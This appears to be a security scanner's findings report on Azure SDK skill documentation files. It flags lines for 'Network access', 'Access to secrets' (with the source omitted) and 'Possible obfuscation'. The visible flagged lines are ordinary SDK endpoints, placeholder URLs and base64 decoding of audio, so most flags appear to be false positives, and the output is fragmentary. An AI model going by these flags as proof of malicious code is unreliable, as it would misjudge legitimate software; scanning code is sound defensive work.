| API Reference | https://learn.microsoft.com/rest/api/aifoundry/aiprojects/ | - Network accessline 153
| GitHub Source | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-projects | - Network accessline 154
| Samples | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-projects/src/samples |
skills/azure-ai-projects-py/SKILL.md
- Access to secretsline 35
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 238
[Credential-related source omitted] - Access to secretsline 257
[Credential-related source omitted]
skills/azure-ai-projects-ts/SKILL.md
skills/azure-ai-textanalytics-py/SKILL.md
skills/azure-ai-transcription-py/SKILL.md
skills/azure-ai-translation-document-py/SKILL.md
skills/azure-ai-translation-text-py/SKILL.md
skills/azure-ai-translation-ts/SKILL.md
skills/azure-ai-vision-imageanalysis-java/SKILL.md
- Access to secretsline 33
[Credential-related source omitted] - Network accessline 101
ImageAnalysisResult result = client.analyzeFromUrl( "https://example.com/image.jpg", - Network accessline 102
"https://example.com/image.jpg", - Network accessline 281
Caption and Dense Captions require GPU-supported regions. Check [supported regions](https://learn.microsoft.com/azure/ai-services/computer-vision/concept-describe-images-40) before deployment.
skills/azure-ai-vision-imageanalysis-py/SKILL.md
skills/azure-ai-voicelive-dotnet/SKILL.md
- Access to secretsline 31
[Credential-related source omitted] - Network accessline 42
Uri endpoint = new Uri("https://your-resource.cognitiveservices.azure.com"); - Network accessline 52
Uri endpoint = new Uri("https://your-resource.cognitiveservices.azure.com"); - Network accessline 262
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.VoiceLive | - Network accessline 263
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.VoiceLive | | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.voicelive | - Network accessline 264
| NuGet Package | https://www.nuget.org/packages/Azure.AI.VoiceLive | - Network accessline 265
| API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.voicelive | - Network accessline 266
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/ai/Azure.AI.VoiceLive | - Network accessline 267
| Quickstart | https://learn.microsoft.com/azure/ai-services/speech-service/voice-live-quickstart |
skills/azure-ai-voicelive-java/SKILL.md
- Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Network accessline 224
| Resource | URL | |----------|-----| | GitHub Source | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-voicelive | - Network accessline 225
|----------|-----| | GitHub Source | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-voicelive | | Samples | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-voicelive/src/samples | - Network accessline 226
| GitHub Source | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-voicelive | - Network accessline 227
| Samples | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-voicelive/src/samples |
skills/azure-ai-voicelive-py/SKILL.md
- Access to secretsline 35
[Credential-related source omitted] - Network accessline 36
credential=DefaultAzureCredential(), model="gpt-4o-realtime-preview", credential_scopes=["https://cognitiveservices.azure.com/.default"] - Network accessline 37
model="gpt-4o-realtime-preview", credential_scopes=["https://cognitiveservices.azure.com/.default"] ) as conn: - Network accessline 38
credential_scopes=["https://cognitiveservices.azure.com/.default"] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Network accessline 67
credential=DefaultAzureCredential(), model="gpt-4o-realtime-preview", credential_scopes=["https://cognitiveservices.azure.com/.default"] - Network accessline 68
model="gpt-4o-realtime-preview", credential_scopes=["https://cognitiveservices.azure.com/.default"] ) as conn: - Network accessline 69
credential_scopes=["https://cognitiveservices.azure.com/.default"] - Possible obfuscationline 157
audio_bytes = base64.b64decode(event.delta) - Possible obfuscationline 192
audio = base64.b64decode(event.delta)
skills/azure-ai-voicelive-ts/SKILL.md
- Access to secretsline 33
[Credential-related source omitted] - Network accessline 46
const credential = new DefaultAzureCredential(); const endpoint = "https://your-resource.cognitiveservices.azure.com"; - Network accessline 47
const endpoint = "https://your-resource.cognitiveservices.azure.com"; - Network accessline 58
const endpoint = "https://your-resource.cognitiveservices.azure.com"; - Network accessline 462
| Resource | URL | |----------|-----| | npm Package | https://www.npmjs.com/package/@azure/ai-voicelive | - Network accessline 463
|----------|-----| | npm Package | https://www.npmjs.com/package/@azure/ai-voicelive | | GitHub Source | https://github.com/Azure/azure-sdk-for-js/tree/main/sdk/ai/ai-voicelive | - Network accessline 464
| npm Package | https://www.npmjs.com/package/@azure/ai-voicelive | - Network accessline 465
| GitHub Source | https://github.com/Azure/azure-sdk-for-js/tree/main/sdk/ai/ai-voicelive | - Network accessline 466
| Samples | https://github.com/Azure/azure-sdk-for-js/tree/main/sdk/ai/ai-voicelive/samples | - Network accessline 467
| API Reference | https://learn.microsoft.com/javascript/api/@azure/ai-voicelive |
skills/azure-appconfiguration-java/SKILL.md
- Network accessline 298
SecretReferenceConfigurationSetting secretRef = new SecretReferenceConfigurationSetting( "app/secrets/api-key", "https://myvault.vault.azure.net/secrets/api-key" - Network accessline 299
"app/secrets/api-key", "https://myvault.vault.azure.net/secrets/api-key" ); - Network accessline 300
"https://myvault.vault.azure.net/secrets/api-key" - Network accessline 465
| Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-data-appconfiguration | - Network accessline 466
|----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-data-appconfiguration | | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/appconfiguration/azure-data-appconfiguration | - Network accessline 467
| Maven Package | https://central.sonatype.com/artifact/com.azure/azure-data-appconfiguration | - Network accessline 468
| GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/appconfiguration/azure-data-appconfiguration | - Network accessline 469
| API Documentation | https://aka.ms/java-docs | - Network accessline 470
| Product Docs | https://learn.microsoft.com/azure/azure-app-configuration | - Network accessline 471
| Samples | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/appconfiguration/azure-data-appconfiguration/src/samples | - Network accessline 472
| Troubleshooting | https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/appconfiguration/azure-data-appconfiguration/TROUBLESHOOTING.md |
skills/azure-appconfiguration-py/SKILL.md
skills/azure-appconfiguration-ts/SKILL.md
skills/azure-communication-callautomation-java/SKILL.md
- Network accessline 65
List.of(target)) // Targets .setSourceCallerId(caller) .setCallbackUrl("https://your-app.com/api/callbacks"); - Network accessline 67
.setCallbackUrl("https://your-app.com/api/callbacks"); - Network accessline 79
AnswerCallOptions options = new AnswerCallOptions( incomingCallContext, "https://your-app.com/api/callbacks"); - Network accessline 81
"https://your-app.com/api/callbacks"); - Network accessline 104
// Play audio file FileSource fileSource = new FileSource() .setUrl("https://storage.blob.core.windows.net/audio/greeting.wav"); - Network accessline 106
.setUrl("https://storage.blob.core.windows.net/audio/greeting.wav"); - Network accessline 245
AZURE_COMMUNICATION_ENDPOINT=https://<resource>.communication.azure.com AZURE_COMMUNICATION_CONNECTION_STRING=endpoint=https://...;accesskey=... - Network accessline 246
AZURE_COMMUNICATION_CONNECTION_STRING=endpoint=https://...;accesskey=... - Network accessline 247
CALLBACK_BASE_URL=https://your-app.com/api/callbacks
skills/azure-communication-common-java/SKILL.md
- Network accessline 104
String resourceEndpoint = "https://<resource>.communication.azure.com"; List<String> scopes = Arrays.asList( "https://auth.msft.communication.azure.com/TeamsExtension.ManageCalls" - Network accessline 105
List<String> scopes = Arrays.asList( "https://auth.msft.communication.azure.com/TeamsExtension.ManageCalls" ); - Network accessline 106
"https://auth.msft.communication.azure.com/TeamsExtension.ManageCalls"
skills/azure-communication-sms-java/SKILL.md
skills/azure-compute-batch-java/SKILL.md
- Access to secretsline 70
[Credential-related source omitted] - Network accessline 374
| Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-compute-batch | - Network accessline 375
|----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-compute-batch | | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/batch/azure-compute-batch | - Network accessline 376
| Maven Package | https://central.sonatype.com/artifact/com.azure/azure-compute-batch | - Network accessline 377
| GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/batch/azure-compute-batch | - Network accessline 378
| API Documentation | https://learn.microsoft.com/java/api/com.azure.compute.batch | - Network accessline 379
| Product Docs | https://learn.microsoft.com/azure/batch/ | - Network accessline 380
| REST API | https://learn.microsoft.com/rest/api/batchservice/ | - Network accessline 381
| Samples | https://github.com/azure/azure-batch-samples |
skills/azure-containerregistry-py/SKILL.md
- Access to secretsline 36
[Credential-related source omitted] - Network accessline 46
client = ContainerRegistryClient( endpoint="https://mcr.microsoft.com", - Network accessline 47
endpoint="https://mcr.microsoft.com", - Network accessline 48
credential=None, audience="https://mcr.microsoft.com" ) - Network accessline 49
audience="https://mcr.microsoft.com"
skills/azure-cosmos-db-py/SKILL.md
skills/azure-cosmos-java/SKILL.md
- Access to secretsline 65
[Credential-related source omitted] - Network accessline 253
| Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-cosmos | - Network accessline 254
|----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-cosmos | | API Documentation | https://azuresdkdocs.z19.web.core.windows.net/java/azure-cosmos/latest/index.html | - Network accessline 255
| Maven Package | https://central.sonatype.com/artifact/com.azure/azure-cosmos | - Network accessline 256
| API Documentation | https://azuresdkdocs.z19.web.core.windows.net/java/azure-cosmos/latest/index.html | - Network accessline 257
| Product Docs | https://learn.microsoft.com/azure/cosmos-db/ | - Network accessline 258
| Samples | https://github.com/Azure-Samples/azure-cosmos-java-sql-api-samples | - Network accessline 259
| Performance Guide | https://learn.microsoft.com/azure/cosmos-db/performance-tips-java-sdk-v4-sql | - Network accessline 260
| Troubleshooting | https://learn.microsoft.com/azure/cosmos-db/troubleshoot-java-sdk-v4-sql |
skills/azure-cosmos-rust/SKILL.md
- Network accessline 133
| Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_data_cosmos | - Network accessline 134
|----------|------| | API Reference | https://docs.rs/azure_data_cosmos | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/cosmos/azure_data_cosmos | - Network accessline 135
| API Reference | https://docs.rs/azure_data_cosmos | - Network accessline 136
| Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/cosmos/azure_data_cosmos | - Network accessline 137
| crates.io | https://crates.io/crates/azure_data_cosmos |
skills/azure-cosmos-ts/SKILL.md
- Access to secretsline 59
[Credential-related source omitted]
skills/azure-eventgrid-dotnet/SKILL.md
- Network accessline 70
EventGridPublisherClient client = new( new Uri("https://mytopic.eastus-1.eventgrid.azure.net/api/events"), - Network accessline 71
new Uri("https://mytopic.eastus-1.eventgrid.azure.net/api/events"), - Network accessline 81
EventGridPublisherClient client = new( new Uri("https://mytopic.eastus-1.eventgrid.azure.net/api/events"), - Network accessline 82
new Uri("https://mytopic.eastus-1.eventgrid.azure.net/api/events"), - Network accessline 484
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Messaging.EventGrid | - Network accessline 485
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Messaging.EventGrid | | API Reference | https://learn.microsoft.com/dotnet/api/azure.messaging.eventgrid | - Network accessline 486
| NuGet Package | https://www.nuget.org/packages/Azure.Messaging.EventGrid | - Network accessline 487
| API Reference | https://learn.microsoft.com/dotnet/api/azure.messaging.eventgrid | - Network accessline 488
| Quickstart | https://learn.microsoft.com/azure/event-grid/custom-event-quickstart | - Network accessline 489
| Pull Delivery | https://learn.microsoft.com/azure/event-grid/pull-delivery-overview | - Network accessline 490
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/eventgrid/Azure.Messaging.EventGrid |
skills/azure-eventgrid-py/SKILL.md
- Network accessline 100
subject="items/123", # Optional: subject/path datacontenttype="application/json", # Optional: content type dataschema="https://schema.example", # Optional: schema URL - Network accessline 101
datacontenttype="application/json", # Optional: content type dataschema="https://schema.example", # Optional: schema URL time=datetime.now(timezone.utc), # Optional: timestamp - Network accessline 102
dataschema="https://schema.example", # Optional: schema URL
skills/azure-eventhub-rust/SKILL.md
- Network accessline 125
| Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_messaging_eventhubs | - Network accessline 126
|----------|------| | API Reference | https://docs.rs/azure_messaging_eventhubs | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/eventhubs/azure_messaging_eventhubs | - Network accessline 127
| API Reference | https://docs.rs/azure_messaging_eventhubs | - Network accessline 128
| Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/eventhubs/azure_messaging_eventhubs | - Network accessline 129
| crates.io | https://crates.io/crates/azure_messaging_eventhubs |
skills/azure-eventhub-ts/SKILL.md
skills/azure-identity-dotnet/SKILL.md
- Access to secretsline 34
[Credential-related source omitted] - Network accessline 72
var credential = new DefaultAzureCredential(); var blobClient = new BlobServiceClient( new Uri("https://myaccount.blob.core.windows.net"), - Network accessline 73
var blobClient = new BlobServiceClient( new Uri("https://myaccount.blob.core.windows.net"), credential); - Network accessline 74
new Uri("https://myaccount.blob.core.windows.net"), - Network accessline 85
{ clientBuilder.AddBlobServiceClient( new Uri("https://myaccount.blob.core.windows.net")); - Network accessline 86
clientBuilder.AddBlobServiceClient( new Uri("https://myaccount.blob.core.windows.net")); clientBuilder.AddSecretClient( - Network accessline 87
new Uri("https://myaccount.blob.core.windows.net")); - Network accessline 89
new Uri("https://myvault.vault.azure.net")); - Network accessline 137
var client = new SecretClient( new Uri("https://myvault.vault.azure.net"), - Network accessline 138
new Uri("https://myvault.vault.azure.net"), - Network accessline 159
var client = new SecretClient( new Uri("https://myvault.vault.azure.net"), - Network accessline 160
new Uri("https://myvault.vault.azure.net"), - Network accessline 284
var client = new SecretClient( new Uri("https://myvault.vault.azure.net"), - Network accessline 285
new Uri("https://myvault.vault.azure.net"), - Network accessline 335
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Identity | - Network accessline 336
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Identity | | API Reference | https://learn.microsoft.com/dotnet/api/azure.identity | - Network accessline 337
| NuGet Package | https://www.nuget.org/packages/Azure.Identity | - Network accessline 338
| API Reference | https://learn.microsoft.com/dotnet/api/azure.identity | - Network accessline 339
| Credential Chains | https://learn.microsoft.com/dotnet/azure/sdk/authentication/credential-chains | - Network accessline 340
| Best Practices | https://learn.microsoft.com/dotnet/azure/sdk/authentication/best-practices | - Network accessline 341
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/identity/Azure.Identity |
skills/azure-identity-java/SKILL.md
- Access to secretsline 159
[Credential-related source omitted] - Network accessline 199
InteractiveBrowserCredential credential = new InteractiveBrowserCredentialBuilder() .clientId("<client-id>") .redirectUrl("http://localhost:8080") // Must match app registration - Network accessline 200
.clientId("<client-id>") .redirectUrl("http://localhost:8080") // Must match app registration .build(); - Network accessline 201
.redirectUrl("http://localhost:8080") // Must match app registration - Network accessline 294
[Credential-related source omitted] - Network accessline 295
[Credential-related source omitted] - Network accessline 296
.addScopes("https://management.azure.com/.default")); - Access to secretsline 326
[Credential-related source omitted] - Network accessline 337
# Authority host AZURE_AUTHORITY_HOST=https://login.microsoftonline.com/ - Network accessline 338
AZURE_AUTHORITY_HOST=https://login.microsoftonline.com/
skills/azure-identity-py/SKILL.md
- Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 106
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Network accessline 159
[Credential-related source omitted] - Network accessline 160
[Credential-related source omitted] - Network accessline 163
[Credential-related source omitted] - Network accessline 164
[Credential-related source omitted]
skills/azure-identity-rust/SKILL.md
- Access to secretsline 27
[Credential-related source omitted] - Network accessline 41
let credential = DeveloperToolsCredential::new(None)?; let client = SecretClient::new( "https://my-vault.vault.azure.net/", - Network accessline 42
let client = SecretClient::new( "https://my-vault.vault.azure.net/", credential.clone(), - Network accessline 43
"https://my-vault.vault.azure.net/", - Network accessline 113
| Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_identity | - Network accessline 114
|----------|------| | API Reference | https://docs.rs/azure_identity | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/identity/azure_identity | - Network accessline 115
| API Reference | https://docs.rs/azure_identity | - Network accessline 116
| Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/identity/azure_identity | - Network accessline 117
| crates.io | https://crates.io/crates/azure_identity |
skills/azure-identity-ts/SKILL.md
- Access to secretsline 26
[Credential-related source omitted] - Network accessline 232
const getAccessToken = getBearerTokenProvider( credential, "https://cognitiveservices.azure.com/.default" - Network accessline 233
credential, "https://cognitiveservices.azure.com/.default" ); - Network accessline 234
"https://cognitiveservices.azure.com/.default"
skills/azure-keyvault-certificates-rust/SKILL.md
- Network accessline 175
| Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_security_keyvault_certificates | - Network accessline 176
|----------|------| | API Reference | https://docs.rs/azure_security_keyvault_certificates | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/keyvault/azure_security_keyvault_certificates | - Network accessline 177
| API Reference | https://docs.rs/azure_security_keyvault_certificates | - Network accessline 178
| Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/keyvault/azure_security_keyvault_certificates | - Network accessline 179
| crates.io | https://crates.io/crates/azure_security_keyvault_certificates |
skills/azure-keyvault-keys-rust/SKILL.md
- Network accessline 165
| Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_security_keyvault_keys | - Network accessline 166
|----------|------| | API Reference | https://docs.rs/azure_security_keyvault_keys | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/keyvault/azure_security_keyvault_keys | - Network accessline 167
| API Reference | https://docs.rs/azure_security_keyvault_keys | - Network accessline 168
| Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/keyvault/azure_security_keyvault_keys | - Network accessline 169
| crates.io | https://crates.io/crates/azure_security_keyvault_keys |
skills/azure-keyvault-keys-ts/SKILL.md
skills/azure-keyvault-secrets-rust/SKILL.md
- Network accessline 140
| Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_security_keyvault_secrets | - Network accessline 141
|----------|------| | API Reference | https://docs.rs/azure_security_keyvault_secrets | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/keyvault/azure_security_keyvault_secrets | - Network accessline 142
| API Reference | https://docs.rs/azure_security_keyvault_secrets | - Network accessline 143
| Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/keyvault/azure_security_keyvault_secrets | - Network accessline 144
| crates.io | https://crates.io/crates/azure_security_keyvault_secrets |
skills/azure-keyvault-secrets-ts/SKILL.md
skills/azure-maps-search-dotnet/SKILL.md
- Access to secretsline 61
[Credential-related source omitted] - Network accessline 490
| Resource | URL | |----------|-----| | Azure Maps Documentation | https://learn.microsoft.com/azure/azure-maps/ | - Network accessline 491
|----------|-----| | Azure Maps Documentation | https://learn.microsoft.com/azure/azure-maps/ | | Search API Reference | https://learn.microsoft.com/dotnet/api/azure.maps.search | - Network accessline 492
| Azure Maps Documentation | https://learn.microsoft.com/azure/azure-maps/ | - Network accessline 493
| Search API Reference | https://learn.microsoft.com/dotnet/api/azure.maps.search | - Network accessline 494
| Routing API Reference | https://learn.microsoft.com/dotnet/api/azure.maps.routing | - Network accessline 495
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/maps | - Network accessline 496
| Pricing | https://azure.microsoft.com/pricing/details/azure-maps/ |
skills/azure-messaging-webpubsubservice-py/SKILL.md
skills/azure-mgmt-apicenter-dotnet/SKILL.md
- Network accessline 111
TermsOfService = new ApiTermsOfService { Uri = new Uri("https://example.com/terms") - Network accessline 112
{ Uri = new Uri("https://example.com/terms") }, - Network accessline 113
Uri = new Uri("https://example.com/terms") - Network accessline 118
{ Title = "Documentation", Uri = new Uri("https://docs.example.com/orders") - Network accessline 119
Title = "Documentation", Uri = new Uri("https://docs.example.com/orders") } - Network accessline 120
Uri = new Uri("https://docs.example.com/orders") - Network accessline 222
Server = new ApiCenterEnvironmentServer { ManagementPortalUris = { new Uri("https://portal.azure.com") } - Network accessline 223
{ ManagementPortalUris = { new Uri("https://portal.azure.com") } }, - Network accessline 224
ManagementPortalUris = { new Uri("https://portal.azure.com") } - Network accessline 227
{ Instructions = "Contact platform team for access", DeveloperPortalUris = { new Uri("https://developer.example.com") } - Network accessline 228
Instructions = "Contact platform team for access", DeveloperPortalUris = { new Uri("https://developer.example.com") } } - Network accessline 229
DeveloperPortalUris = { new Uri("https://developer.example.com") } - Network accessline 258
Server = new ApiCenterDeploymentServer { RuntimeUris = { new Uri("https://api.example.com/orders") } - Network accessline 259
{ RuntimeUris = { new Uri("https://api.example.com/orders") } } - Network accessline 260
RuntimeUris = { new Uri("https://api.example.com/orders") } - Network accessline 408
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.ApiCenter | - Network accessline 409
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.ApiCenter | | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.apicenter | - Network accessline 410
| NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.ApiCenter | - Network accessline 411
| API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.apicenter | - Network accessline 412
| Product Documentation | https://learn.microsoft.com/azure/api-center/ | - Network accessline 413
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/apicenter/Azure.ResourceManager.ApiCenter |
skills/azure-mgmt-apicenter-py/SKILL.md
- Access to secretsline 37
[Credential-related source omitted] - Network accessline 80
kind=ApiKind.REST, lifecycle_stage=LifecycleStage.PRODUCTION, terms_of_service={"url": "https://example.com/terms"}, - Network accessline 81
lifecycle_stage=LifecycleStage.PRODUCTION, terms_of_service={"url": "https://example.com/terms"}, contacts=[{"name": "API Team", "email": "api-team@example.com"}] - Network accessline 82
terms_of_service={"url": "https://example.com/terms"}, - Network accessline 174
description="Production environment", kind=EnvironmentKind.PRODUCTION, server={"type": "Azure API Management", "management_portal_uri": ["https://portal.azure.com"]} - Network accessline 175
kind=EnvironmentKind.PRODUCTION, server={"type": "Azure API Management", "management_portal_uri": ["https://portal.azure.com"]} ) - Network accessline 176
server={"type": "Azure API Management", "management_portal_uri": ["https://portal.azure.com"]} - Network accessline 196
definition_id="/workspaces/default/apis/my-api/versions/v1/definitions/openapi", state=DeploymentState.ACTIVE, server={"runtime_uri": ["https://api.example.com"]} - Network accessline 197
state=DeploymentState.ACTIVE, server={"runtime_uri": ["https://api.example.com"]} ) - Network accessline 198
server={"runtime_uri": ["https://api.example.com"]}
skills/azure-mgmt-apimanagement-dotnet/SKILL.md
- Access to secretsline 34
[Credential-related source omitted] - Network accessline 119
Path = "myapi", Protocols = { ApiOperationInvokableProtocol.Https }, ServiceUri = new Uri("https://backend.contoso.com/api") - Network accessline 120
Protocols = { ApiOperationInvokableProtocol.Https }, ServiceUri = new Uri("https://backend.contoso.com/api") }; - Network accessline 121
ServiceUri = new Uri("https://backend.contoso.com/api") - Network accessline 308
| Resource | Purpose | |----------|---------| | [API Management Documentation](https://learn.microsoft.com/en-us/azure/api-management/) | Official Azure docs | - Network accessline 309
|----------|---------| | [API Management Documentation](https://learn.microsoft.com/en-us/azure/api-management/) | Official Azure docs | | [Policy Reference](https://learn.microsoft.com/en-us/azure/api-management/api-management-policies) | - Network accessline 310
| [API Management Documentation](https://learn.microsoft.com/en-us/azure/api-management/) | Official Azure docs | - Network accessline 311
| [Policy Reference](https://learn.microsoft.com/en-us/azure/api-management/api-management-policies) | Complete policy reference | - Network accessline 312
| [SDK Reference](https://learn.microsoft.com/en-us/dotnet/api/azure.resourcemanager.apimanagement) | .NET API reference |
skills/azure-mgmt-apimanagement-py/SKILL.md
- Access to secretsline 37
[Credential-related source omitted] - Network accessline 102
protocols=[Protocol.HTTPS], format=ContentFormat.OPENAPI_LINK, value="https://petstore.swagger.io/v2/swagger.json" - Network accessline 103
format=ContentFormat.OPENAPI_LINK, value="https://petstore.swagger.io/v2/swagger.json" ) - Network accessline 104
value="https://petstore.swagger.io/v2/swagger.json" - Network accessline 230
backend_id="my-backend", parameters=BackendContract( url="https://api.backend.example.com", - Network accessline 231
parameters=BackendContract( url="https://api.backend.example.com", protocol="http", - Network accessline 232
url="https://api.backend.example.com",
skills/azure-mgmt-applicationinsights-dotnet/SKILL.md
- Network accessline 173
WebTest = """ <WebTest Name="Homepage" Enabled="True" Timeout="120" xmlns="http://microsoft.com/schemas/VisualStudio/TeamTest/2010"> - Network accessline 174
<WebTest Name="Homepage" Enabled="True" Timeout="120" xmlns="http://microsoft.com/schemas/VisualStudio/TeamTest/2010"> <Items> - Network accessline 175
xmlns="http://microsoft.com/schemas/VisualStudio/TeamTest/2010"> - Network accessline 176
<Items> <Request Method="GET" Version="1.1" Url="https://myapp.example.com" ThinkTime="0" Timeout="120" ParseDependentRequests="False" - Network accessline 177
<Request Method="GET" Version="1.1" Url="https://myapp.example.com" - Network accessline 218
WebTest = """ <WebTest Name="LoginFlow" Enabled="True" Timeout="300" xmlns="http://microsoft.com/schemas/VisualStudio/TeamTest/2010"> - Network accessline 219
<WebTest Name="LoginFlow" Enabled="True" Timeout="300" xmlns="http://microsoft.com/schemas/VisualStudio/TeamTest/2010"> <Items> - Network accessline 220
xmlns="http://microsoft.com/schemas/VisualStudio/TeamTest/2010"> - Network accessline 221
<Items> <Request Method="GET" Version="1.1" Url="https://myapp.example.com/login" ThinkTime="0" Timeout="60" /> - Network accessline 222
<Request Method="GET" Version="1.1" Url="https://myapp.example.com/login" - Network accessline 223
ThinkTime="0" Timeout="60" /> <Request Method="POST" Version="1.1" Url="https://myapp.example.com/api/auth" ThinkTime="0" Timeout="60"> - Network accessline 224
<Request Method="POST" Version="1.1" Url="https://myapp.example.com/api/auth" - Network accessline 483
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.ApplicationInsights | - Network accessline 484
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.ApplicationInsights | | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.applicationinsights | - Network accessline 485
| NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.ApplicationInsights | - Network accessline 486
| API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.applicationinsights | - Network accessline 487
| Product Documentation | https://learn.microsoft.com/azure/azure-monitor/app/app-insights-overview | - Network accessline 488
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/applicationinsights/Azure.ResourceManager.ApplicationInsights |
skills/azure-mgmt-arizeaiobservabilityeval-dotnet/SKILL.md
- Access to secretsline 38
[Credential-related source omitted] - Network accessline 230
- [NuGet Package](https://www.nuget.org/packages/Azure.ResourceManager.ArizeAIObservabilityEval) - Network accessline 231
- [Azure SDK for .NET](https://github.com/Azure/azure-sdk-for-net) - Network accessline 232
- [Arize AI](https://arize.com/)
skills/azure-mgmt-botservice-dotnet/SKILL.md
- Access to secretsline 30
[Credential-related source omitted] - Network accessline 77
Properties = new BotProperties( displayName: "MyBot", endpoint: new Uri("https://mybot.azurewebsites.net/api/messages"), - Network accessline 78
displayName: "MyBot", endpoint: new Uri("https://mybot.azurewebsites.net/api/messages"), msaAppId: "<your-msa-app-id>") - Network accessline 79
endpoint: new Uri("https://mybot.azurewebsites.net/api/messages"), - Network accessline 331
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.BotService | - Network accessline 332
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.BotService | | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.botservice | - Network accessline 333
| NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.BotService | - Network accessline 334
| API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.botservice | - Network accessline 335
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/botservice/Azure.ResourceManager.BotService | - Network accessline 336
| Azure Bot Service Docs | https://learn.microsoft.com/azure/bot-service/ |
skills/azure-mgmt-botservice-py/SKILL.md
- Access to secretsline 38
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Access to secretsline 56
[Credential-related source omitted] - Network accessline 67
display_name="My Chat Bot", description="A conversational AI bot", endpoint="https://my-bot-app.azurewebsites.net/api/messages", - Network accessline 68
description="A conversational AI bot", endpoint="https://my-bot-app.azurewebsites.net/api/messages", msa_app_id="<your-app-id>", - Network accessline 69
endpoint="https://my-bot-app.azurewebsites.net/api/messages", - Access to secretsline 264
[Credential-related source omitted]
skills/azure-mgmt-fabric-dotnet/SKILL.md
- Access to secretsline 35
[Credential-related source omitted] - Network accessline 337
- [Azure.ResourceManager.Fabric NuGet](https://www.nuget.org/packages/Azure.ResourceManager.Fabric) - Network accessline 338
- [GitHub Source](https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/fabric/Azure.ResourceManager.Fabric) - Network accessline 339
